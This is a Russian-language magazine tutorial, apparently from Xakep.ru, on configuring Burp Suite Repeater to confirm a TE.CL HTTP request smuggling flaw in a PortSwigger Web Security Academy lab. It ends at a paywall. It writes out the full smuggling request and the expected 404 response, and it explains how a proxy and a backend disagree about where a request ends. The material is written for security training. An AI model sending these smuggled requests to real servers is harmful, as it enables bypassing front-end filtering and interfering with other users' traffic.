Содержание статьи
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Итак, открывай Repeater и погнали!
Запрос в Repeater можно редактировать как угодно, но обрати внимание на шестеренку рядом с кнопкой отправки. В настройках ты задаешь поведение движка, который создает соединение и шлет данные на сервер. Эти опции способны испортить атаку, хотя кажутся абсолютно бесполезными.
Если пытаешься провести атаку HTTP request smuggling типа TE.CL, смысл операции в том, чтобы спрятать один запрос в теле другого. Пример атакующего запроса:
POST / HTTP/1.1Host: YOUR-LAB-ID.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-length: 4Transfer-Encoding: chunked5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Прокси‑сервер, на который придет запрос, ориентируется на заголовок Transfer-Encoding (TE) и полностью игнорирует Content-Length. Для него запрос разбит на чанки (chunked). Первый чанк имеет длину 5e, то есть:
POST /404 HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 15x=1
Ноль показывает, что цепочка закончена. Тело запроса выглядит странно, но если нет WAF или правила, которое отбрасывает подобное тело, запрос пройдет.

Сервер‑жертва, который прячется за прокси и считает, что тот хорошо фильтрует запросы, наоборот, ориентируется на CL, игнорируя TE. Тебе важно, чтобы до конечного сервера запрос дошел с Content-Length, равным 4. Тогда жертва порежет запрос на две части по размеру Content-Length и обработает оба. Первый запрос:
POST / HTTP/1.1Host: YOUR-LAB-ID.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-length: 4Transfer-Encoding: chunked5e
PO
Второй:
POST /404 HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 15x=1
Второй запрос останется подвешенным. Сервер ждет 15 байт, но получает только x=1. В результате он ждет, когда придут остальные байты. Любой запрос, независимо от происхождения, закроет этот зависший POST, и пользователь увидит ошибку 404. Это еще не атака, но уже подтверждение, что уязвимость есть.
Для теста возьмем лабу HTTP request smuggling, confirming a TE.CL vulnerability via differential responses. Задача: подтвердить, что веб‑приложение уязвимо к контрабанде запросов типа TE.CL.
Запусти лабу и перехвати запрос к /. Отправь его в Repeater, для ускорения можешь выделить запрос и нажать Ctrl-R. В настройках отключи Update Content-Length. И вообще все, что связано с запросами HTTP/2. Для многих атак с контрабандой запросов важно, чтобы версия HTTP была 1.1.
Если ты видишь, что версия запроса — 2, поменяй ее в Inspector справа. Разверни меню Request attributes и кликни по HTTP/. Не меняй версию вручную, это может запутать движок.
info
Почти все параметры можно менять прямо в тексте, кроме версии HTTP и протокола. Чтобы переключиться с HTTPS на HTTP и обратно, как и поменять порт, кликай на карандаш над «Инспектором» в правой части экрана.
Приведи запрос к такому виду:
POST / HTTP/1.1Host: 0adc000d041272e5801cd500005e0046.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-Length: 4Transfer-Encoding: chunked5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
В конце не забудь два раза нажать Enter, чтобы правильно завершить запрос. Жми Send или используй сочетание клавиш Ctrl-Space. Отправь запрос дважды. Если уязвимость есть, вторая отправка завершит зависший POST-запрос к /, и в ответе вернется:
HTTP/1.1 404 Not FoundContent-Type: application/json; charset=utf-8Set-Cookie: session=AhEwk0c4m2yNN8drBPhSCRzNQzpmcBi8; Secure; HttpOnly; SameSite=NoneX-Frame-Options: SAMEORIGINConnection: closeContent-Length: 11"Not Found"Если не получилось, включи отображение спецсимволов (значок \ над текстом запроса). В конце должно быть:
0\r \n
\r \n

Отправка группы запросов
Группировка запросов в Repeater — это не только удобная и понятная организация, но и возможность параллельно отправить тонну запросов. Массовая отправка нужна для многих атак вроде HTTP request smuggling и race condition. Эти атаки позволяют сломать логику приложения и получить доступ к закрытым разделам или доставить вредоносный код.
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
